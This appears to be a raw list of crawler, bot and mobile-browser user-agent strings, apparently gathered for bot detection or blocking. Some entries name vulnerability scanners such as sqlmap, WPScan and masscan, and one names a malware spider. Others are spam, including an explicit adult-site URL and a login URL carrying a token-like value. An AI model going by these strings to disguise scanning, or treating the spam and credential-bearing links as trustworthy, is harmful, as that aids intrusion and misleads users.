Mozilla/5.0 (Linux; Android 6.0; CUBOT_MANITO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_MANITO Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_MANITO Build/MRA58K; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Mobile Safari/537.36 Puffin/7.7.2.30832AP
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.24 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/56.0.2924.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.0; CUBOT_NOTE_S Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.116 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 6.1.1; GLX Spider1S Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT CHEETAH 2 Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT H3 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT KING KONG Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT KING KONG Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT KING KONG Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT KING KONG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT MAGIC Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT MAGIC Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT NOTE Plus Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.126 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT NOTE Plus Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT NOTE Plus Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT R9 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT R9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT X18 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT X18 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; CUBOT X18) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 7.0; M bot 52 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_P20) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus Build/O00623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.126 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus Build/O00623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.91 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.64 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.0.0; CUBOT_X18_Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_J3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_NOVA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.90 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 8.1.0; CUBOT_POWER) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.93 Mobile Safari/537.36
Mozilla/5.0 (Linux; U; Android 2.3.5; en-gb; SAMSUNG GT-S5570/S5570BUKS2 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML like Gecko) Version/4.0 Mobile Safari/533.1
Mozilla/5.0 (Linux; U; Android 4.2.1; cs-cz; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.1; el-gr; CUBOT GT99 Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.1; en-ca; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.1; hu-hu; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.1; ru-ru; CUBOT ONE Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; de-de; CUBOT P9 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; el-gr; CUBOT X6 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; CUBOT C11 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; CUBOT P9 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; S222 Build/CUBOT) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; es-es; CUBOT X6 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; CUBOT P9 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; fa-ir; GLX Spider Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; fa-ir; GLX SpiderI Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; fr-fr; CUBOT X6 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; it-it; S308 Build/CUBOT) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; CUBOT X6 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; ru-ru; CUBOT GT72E Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; ru-ru; CUBOT P9 Build/JDQ39) AppleWebKit/534.30 (KHTML like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.3; zh-CN; SCH-N719 Build/JSS15J) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 YisouSpider/1.0.0 Mobile Safari/533.1
Mozilla/5.0 (Linux; U; Android 6.0; CUBOT_NOTE_S Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36 OPR/24.0.2254.115784
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko/20100101 Firefox/55.0 BrandVerity/1.0 (http://www.brandverity.com/why-is-brandverity-visiting-me)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8.3) Gecko/20120221 Firefox/18.0(I Greetings I UssU.DULKARNEEN666GROUP.UssU I Greetings I https://dulkarneen666group.us.suhlUssU I http://dulkarneen666group.us.suhlUssU I ftp://dulkarneen666group.us.suhlUssU I htt
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:29.0) Gecko/20100101 Firefox/29.0( I Greetings I UssU.DULKARNEEN666GROUP.UssU I Greetings I https://dulkarneen666group.us.suhlUssU I http://dulkarneen666group.us.suhlUssU I ftp://dulkarneen666group.us.suhlUs
Mozilla/5.0 (Macintosh; Intel Mac OS X 10101) AppleWebKit/537.36 (KHTML like Gecko) Chrome/40.0.2214.111 Safari/537.36 moatbot
Mozilla/5.0 (Macintosh; Intel Mac OS X 10103) AppleWebKit/537.36 (KHTML like Gecko) Chrome/42.0.2311.90 Safari/537.36 DomainBot
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 AdAuth/1.0; +https://www.adauth.com
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BuiltWith/1.0; +http://builtwith.com/biup) Chrome/74.0.3729.131 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; +https://the-online.com/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36 The-Online.com
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36 WebSpider 2.0
Mozilla/5.0 (Windows NT 6.1; Win64; x64; +http://www.komodia.com/newwiki/index.php/URL_server_crawler) KomodiaBot/1.0
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/33.0.1750.170 Safari/537.36 ThumbshotsBot/10.0.0.0
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Speedy Spider (http://www.entireweb.com/about/searchtech/speedyspider/)
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Ara.com.tr AraBot 1.0
Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com)
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) Jayde NicheBot
Mozilla/5.0 (X11; Linux i686; rv:29.0) Gecko/20100101 Firefox/29.0 I Greetings I UssU.DULKARNEEN666GROUP.UssU I Greetings I https://dulkarneen666group.us.suhlUssU I http://dulkarneen666group.us.suhlUssU I ftp://dulkarneen666group.us.suhlUssU I https://gro
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BuiltWith/1.0; +http://builtwith.com/biup) Chrome/60.0.3112.50 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/43.0.2357.134 Safari/537.36http://notifyninja.com/monitoring
Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.1; compatible; iCjobs Stellenangebote Jobs; http://www.icjobs.de) Gecko/20100401 iCjobs/3.2.3
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Tailrank; http://tailrank.com/robot) Gecko/20021130
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Gecko/20110515 HeartRailsCapture/1.0.4 (+http://capture.heartrails.com/) Namoroka/3.6.17
Mozilla/5.0 (X11; U; Linux x8664; de; rv:1.9.1.16) Gecko/20121207 Firefox/29.0 (http://variohost24.de)
Mozilla/5.0 (X11; U; Linux x8664; en-US; rv:1.9.0.19; aggregator:Spinn3r (Spinn3r 3.1); http://spinn3r.com/robot) Gecko/2010040121 Firefox/3.0.19
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; AudigentAdBot; +http://www.audigent.com/bot.html) Chrome/W.X.Y.Z Safari/537.36
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +support@anthropic.com)
Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; webmaster@moreover.com)
Mozilla/5.0 zgrab/0.x (compatible; Researchscan/t12sns; +http://researchscan.comsys.rwth-aachen.de)
Mozilla/6.0 (compatible; hiload.com +https://www.hiload.com/)
Mozilla/6.0 (X11; Taplinux;Intel Linux x969; rv:33.0) Gecko/20100101 Firefox/33.0( I Greetings I UssU.DULKARNEEN666GROUP.UssU I Greetings I https://dulkarneen666group.us.suhlUssU I http://dulkarneen666group.us.suhlUssU I ftp://dulkarneen666group.us.suhlUs
Mr.Bot/1.2 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/6.0)
multicrawler ( http://sw.deri.org/2006/04/multicrawler/robots.html)
My Nutch Spider/Nutch-1.5
My Nutch Spider/Nutch-1.7
My Nutch Spider/Nutch-2.2.1
MyNutchSpider/Nutch-1.7
nb-bot
NCBot http://netcomber.comstba2 Tool for finding all their domain names
Netvibes (http://www.netvibes.com)
NextGenSearchBot 1 (for information visit http://www.zoominfo.com/About/misc/NextGenSearchBot.aspx)
NIS Nutch Spider/Nutch-1.7
NYU Internet Census (https://scan.lol; research@scan.lol)
Open Web Analytics Bot 1.5.4
OPENSEEMOX BOT 1.0 -/ www.openseemox.com
Opera/9.80 (Windows NT 5.1; Win64; x64; bot; Bot) Presto/2.12 Version/12.16
oscar bot v59
OutclicksBot/4 +https://www.outclicks.net/agent/GgIincGss59ktmJwHC4APNNNv0bzB7T85QS3wpeRlKB
OutclicksBot/4 +https://www.outclicks.net/agent/m33jnMZxWK6ojT4no4qB5uIbI97KexTR6Uh6alTYWLG
PagesInventory (robot +http://www.pagesinventory.com)
PATHspider (https://pathspider.net/)
Pinterest/0.2 (+http://www.pinterest.com/bot.html)
PriEcoBot 1.0.0
psbot-page (+http://www.picsearch.com/bot.html)
Qirina Hurdler v. 1.05 10.11.01 (+http://www.qirina.com/hurdler.html)
Re-re Studio (+http://rere.7ooo.ru/)
Readability/1700d9
Readability/68a2d4
Readability/740ec9
Readability/7a48f3
REMOTE COMPUTER REPAIR (+http://computernetworkcctvcat5cat6wiring.yolasite.com) ZSEBOT
REMOTE COMPUTER REPAIR (+http://remotepcrepair2014.wordpress.com) ZSEBOT
RepoLookoutBot/v1.1.0-3-g1e52068 (abuse reports to abuse@repo-lookout.org)
RepoLookoutBot/v1.1.0-5-ga5a9cff (abuse reports to abuse@repo-lookout.org)
robot leapit.com
rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot-, rogerbot-wherecat@moz.com)
Rogue Infiltrator Bot (compatible; Infiltrator Bot; h4unt3r.hx/malware/rogue/spider/InfiltratorBot)
SafariBookmarkChecker/1.30 (+http://www.coriolis.ch/)
SAMSUNG-GT-S5220/1.0 NetFront/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 x-wap-profile http://wap.samsungmobile.com/uaprof/GT-S5220UAProf.xml
Scrapy/0.16.3 (+http://scrapy.org)
Scrapy/0.18.2 (+http://scrapy.org)
Scrapy/0.18.4 (+http://scrapy.org)
Scrapy/0.20.2 (+http://scrapy.org)
Scrapy/1.3.0 (+http://scrapy.org)
Scrapy/1.5.2 (+https://scrapy.org)
Scrapy/2.0.1 (+https://scrapy.org)
Scrapy/2.2.0 (+https://scrapy.org)
Scrapy/2.7.1 (+https://scrapy.org)
Screaming Frog SEO Spider/1.90
Screaming Frog SEO Spider/10.1
Screaming Frog SEO Spider/11.3
Screaming Frog SEO Spider/12.6
Screaming Frog SEO Spider/14.1
Screaming Frog SEO Spider/16.1
Screaming Frog SEO Spider/18.1
Screaming Frog SEO Spider/2.00
Screaming Frog SEO Spider/2.22
Screaming Frog SEO Spider/2.40
Screaming Frog SEO Spider/230
Screaming Frog SEO Spider/5.0
SearchBot v1.1.0
Searchit-Now Robot/2.2 (+http://www.searchit-now.co.uk)
SeobilityBot (SEO-Check; http://bit.ly/1dJuuzs)
SerendeputyBot/0.8.6 (http://serendeputy.com/about/serendeputy-bot)
shareaholic-bot
ShowyouBot (http://showyou.com/crawler)
SimplePie/1.0.1 (Feed Parser; http://simplepie.org/; Allow like Gecko) Build/2.0070719222E+13
Site-Visualizer/3.0.31 (+http://site-visualizer.com/en)
SJN . Die Suchmaschine der Technik (http://www.sjn.de)
SMTBot (similartech.com/smtbot)
SNK Screenshot Bot/0.20 ( abuse at savenkeep dot_com )
SNK%20Screenshot%20Bot/0.20%20(%20abuse%20at%20savenkeep%20dotcom%20)
SolomonoBot/1.02 (http://www.solomono.ru)
SolomonoBot/1.03 (http://www.solomono.ru)
SolomonoBot/1.04 (http://www.solomono.ru)
SonyEricssonK750i/R1N Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1/Nutch-1.0-dev
spider-adsspider-ads
Spider/Nutch-2.1
Spiderbook
sqlmap/1.0-dev-9ead80d (http://sqlmap.org)
sqlmap/1.0-dev-nongit-20150603 (http://sqlmap.org)
sqlmap/1.0.4.0#dev (http://sqlmap.org)
sqlmap/1.0.4.20#dev (http://sqlmap.org)
sqlmap/1.0.5.15#dev (http://sqlmap.org)
sqlmap/1.0.9.1#dev (http://sqlmap.org)
sqlmap/1.1#stable (http://sqlmap.org)
sqlmap/1.1.3#stable (http://sqlmap.org)
sqlmap/1.1.5#stable (http://sqlmap.org)
sqlmap/1.2.2#stable (http://sqlmap.org)
sqlmap/1.2.8#stable (http://sqlmap.org)
sqlmap/1.3#stable (http://sqlmap.org)
Storm Crawler test app/1.0 (built with StormCrawler Archetype 1.13; http://someorganization.com/; someone@someorganization.com)
Strategic Board Bot (+http://www.strategicboard.com)
Summify (Summify/1.0.1; +http://summify.com)
Symfony Spider (http://symfony.com/spider)
TerrawizBot/10.1 (IRIX 6.2; arLB;)
Textual/1.0 (+http://www.codeux.com/textual/wiki/Inline-Media-Scanner-User-Agent.wiki)
ThumbBot (http://www.thumbshots4u.com)
TinEye-bot/0.02 (see URL) or contact Paul Bloore pb@tineye.com
TinEye/1.1 (http://tineye.com/crawler.html)
Toplistbot
TosCrawler/Nutch-1.4 (http://www.toshiba.co.jp/rdc/about/crawlinfoen.htm; 'Rdc-crawler at ml dot toshiba dot co dot jp')
Traackr.com Bot
Trove (help@trove.com http://www.trove.com)
Twitterbot
TwitterBot (http://www.twitter.com)
UCWEB/2.0 (MIDP-2.0; U; Adr 4.2.2; http://www.rightel.ir/credit.html/x.facebook.com; HUAWEIG730-U10) U2/1.0.0 UCBrowser/9.6.0.514 U2/1.0.0 Mobile
UCWEB/2.0 (MIDP-2.0; U; Adr 6.0; https://www.internet.djezzy.dz/home.php; PAM524) U2/1.0.0 UCBrowser/9.8.0.534 U2/1.0.0 Mobile
UniversalFeedParser/4.2-pre-295-svn +http://feedparser.org
Unknown Commodore Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)
Updownerbot (+http://www.updowner.com/bot)
User-Agent: SEOlyt/1.0 (SEO analysis tool; https://seolyt.com)
utmailspider
W3CUnicorn/1.0 (http://validator.w3.org/services)
Web front page analyser (norw.acd.inst@gmail.com or edit robots.txt)
Webscout/1.0 (webscout GmbH; http://www.webscout.de; crwadm@webscout.de)
WebSearchBench WebCrawler V1.0 (Beta)- Prof. Dr.-Ing. Christoph Lindemann- Universitt Dortmund- cl@cs.uni-dortmund.de- http://websearchbench.cs.uni-dortmund.de
Webshot/0.9 ( http://www.shrinktheweb.com/ )
Who.is Bot
WIRE/0.22 (Linux; x86_64; Bot,Robot,Spider,Crawler,aeraso3@gmail.com)
WordPress.com; https://kidskiddlebook.wordpress.com
WordPress.com; https://loadedforguccifer.wordpress.com
WordPress.com; https://mkcons.wordpress.com
WordPress.com; https://tonigineservidorsweb.wordpress.com
WPScan v2.9.5-dev (http://wpscan.org)
XRL/3.00 (Linux; i686; en-us) (+http://metamark.net/about)
xxxxxxxx/Nutch-2.2.1 (http://test.co.kr/)
yacy
yacybot (/global; amd64 Linux 3.16.0-4-amd64; java 1.7.0_121; Europe/de) http://yacy.net/bot.html
yacybot (/global; amd64 Linux 3.16.0-4-amd64; java 1.8.0_91; Europe/en) http://yacy.net/bot.html
yacybot (/global; amd64 Windows 7 6.1; java 1.8.025; Europe/en) http://yacy.net/bot.html
your-search-bot
YOURLS v1.5 +http://yourls.org/ (running on http://onj.me)
YOURLS v1.6 +http://yourls.org/ (running on http://glo5.com)
YOURLS v1.7 +http://yourls.org/ (running on http://cbi.as)
YOURLS v1.7 +http://yourls.org/ (running on http://dogo.in)
YOURLS v1.7.1 +http://yourls.org/ (running on http://urlz.gr)
178.137.95.abc
7Siters/1.07 (+https://7ooo.ru/siters/)
8bo Crawler Bot
A1 Website Analyzer/10.1.4 (+https://www.microsystools.com/products/website-analyzer/)
AcademicBotRTU (https://academicbot.rtu.lv; mailto:caps@rtu.lv)
AccompanyBot
admantx-eusyncbatch01/3.1 (+http://www.admantx.com/service-fetcher.html)
adsbot
Anonymous Coward/1.0 (A StormCrawler-based crawler; http://someorganization.com/; someone@someorganization.com)
Ant.com beta/1.0 (Crawling antmarks; https://www.ant.com; admin@ant.com)
ArchiveBox/6c4c6862e (+https://github.com/pirate/ArchiveBox/) wget/1.19.4
arquivo-web-crawler (compatible; heritrix/3.3.0-SNAPSHOT-2019-08-26T10:34:48Z +http://arquivo.pt)
arquivo-web-crawler (compatible; heritrix/3.4.0-20190418 +http://arquivo.pt)
Bloglines/3.1 (http://www.bloglines.com)
Brick-Bot
Brightbot 1.0
carbon-umbrella-bot/1.0:dev
CCBot/3.1 (https://commoncrawl.org/faq/; info@commoncrawl.org)
CDR/1.7.1 Simulator/0.7(+http://timewe.net) Profile/MIDP-1.0 Configuration/CLDC-1.0
CipaCrawler/3.0 (info@domaincrawler.com; http://www.domaincrawler.com/whatmyip.co)
COIBotParser/2.0
ConBot
CowBot/0.4
CowBot/1.0
CriteoBot/0.1
Curl/PHP 5.4.16 (http://github.com/shuber/curl)
Curl/PHP 5.6.40 (http://github.com/shuber/curl)
Deskyobot/1.0 (+https://www.deskyo.com/bot)
DF Bot 1.0
DigitalPebble Crawler/1.14 (StormCrawler Benchmark; http://digitalpebble.com/; crawler@digitalpebble.com)
DingTalkBot-SecurityService/1.0
Discordbot/2.0; ( https://discordapp.com)
dopamina katecholaminy potasu https://i.pinimg.com/originals/64/e5/44/64e544072049b0ef38cc04ac604259c5.png
DowntimeDetector/1.0 (+http://downforeveryoneorjustme.com)
Dy robot 1.0
elefent/1.4 (web crawler :: robots.txt exclude elefent; https://crawler.elefent.net; webmaster at elefent dot net)
facebookexternalhit/1.1; kakaotalk-scrap/1.0; +https://devtalk.kakao.com/t/scrap/33984
feedbot allot contact:ipravos@allot.com
FeedshowOnline (http://www.feedshow.com)
FeedZcollector v1.x (Platinum) http://www.feeds4all.com/feedzcollector
FreshRSS/1.22.1 (Linux; https://freshrss.org)
FreshRSS/1.23.1 (Linux; https://freshrss.org)
Friendica Lily of the valley 3.4.1-1185; https://friendica.dunkelangst.org
Frontera-based example bot (+https://github.com/scrapinghub/frontera)
Gigabot (1.1 1.2)
Golang_Spider_Bot/3.0
got/9.3.2 (https://github.com/sindresorhus/got)
GozleBot
GozleBot; http://gozle.com.tm
Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)
http://108.165.56.185:2000
http://108.165.56.37:2000
http://useragentstring.com/index.php?id=19919
http://www.useragentstring.com/index.php?id=18324
http://www.useragentstring.com/index.php?id=19296
http://www.useragentstring.com/index.php?id=19859
http://www.useragentstring.com/index.php?id=19921
https://airbnb.onelogin.com/login2/?ctx=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI1MzgzZTcxOC01Mjg3LTQyYTItOGYyZS0wMTlkMTI3YzY4NTMiLCJhdWQiOiJBQ0NFU1MiLCJpc3MiOiJBQ0NFU1MiLCJleHAiOjE2NTY2Mzk3NzV9.0AXRjoDP3Fvya3xrsOLtjGpjKB50jE1ufyeLTDuv5vY#action=auth
https://anonymster.com/web-proxy
https://developers.whatismybrowser.com/useragents/parse/61890-android-browser-android-webkit
https://developers.whatismybrowser.com/useragents/parse/627832-chrome-windows-blink
https://user-agents.net/string/mozilla-5-0-iphone-cpu-iphone-os-17-1-2-like-mac-os-x-applewebkit-605-1-15-khtml-like-gecko-version-17-1-2-mobile-15e148-safari-604-1-musical-ly-32-9-1-jssdk-2-0-nettype-wifi-channel-app-store-bytelocale-en-region-u-2f8d3ebb
https://videossa.top/p/prof-video-click/model/jdn31/58540263/busty_milf_bitch_screams_and_moans_fucking_her_wet_little_pussy_hidden_cam
https://www.comodo.com/home/browsers-toolbars/browser.php
https://www.linkedin.com/redir/redirect?url=https%3A%2F%2Fnawazkha224%2Eexblog%2Ejp%2F30675583%2F&urlhash=xuD7&trk=public_post_feed-article-content
https://www.whatsapp.com/legal/updates/terms-of-service
https://www.youtube.com/channel/UCGYQHkdzB838TdLvmjf1NlQ
HTTP_Request2/2.3.0 (http://pear.php.net/package/http_request2) PHP/7.0.32-0ubuntu0.16.04.1
HybridBot (hybrid.ru/about. If our bot caused problems please contact us. Contact email: abuse@hybrid.ru)
ias-au/3.1 (+https://www.admantx.com/service-fetcher.html)
ias-sg/3.3 (former https://www.admantx.com + https://integralads.com/about-ias/)
ICC-Crawler/2.0 (Mozilla-compatible; ; http://ucri.nict.go.jp/en/icccrawler.html)
ICDST BOT v1.0 (+https://icdst.org/mysearch/)
Iframely/1.3.1 (+https://iframely.com/docs/about) Notion
Is is up? (+https://isitup.org)
Istat (http://www.istat.it/)
ivre-masscan/1.3 https://github.com/robertdavidgraham
Jugendschutzprogramm-Crawler HTML; Info: http://www.jugendschutzprogramm.de
kaikki.org-digital-archive/0.4 (crawler@kaikki.org) https://kaikki.org
KOCMOHABT (https://kozmonavt.ml/) Mozilla/5.0 (Web Explorer)
LabyrinthBot
like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
LinkedInBot/1.0
Mechanize/2.8.4 Ruby/2.7.2p137 (http://github.com/sparklemotion/mechanize/)
Mediumbot-MetaTagFetcher/0.3 (+https://medium.com/)
metadataparser/1.1.0 (https://github.com/bloglovin/metadataparser)
MetaInspector/5.6.0 (+https://github.com/jaimeiniesta/metainspector)
Mozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 5.0 Robot)
Mozilla/4.0 compatible FurlBot/Furl Search 2.0 (FurlBot; http://www.furl.net; wn.furlbot@looksmart.net)
Mozilla/5.0 (compatible; +http://tweetedtimes.com)
Mozilla/5.0 (compatible; AdBot/1.0)
Mozilla/5.0 (compatible; AdsrvrBot)
Mozilla/5.0 (compatible; AhrefsBot/1.0; +http://ahrefs.com/robot/)
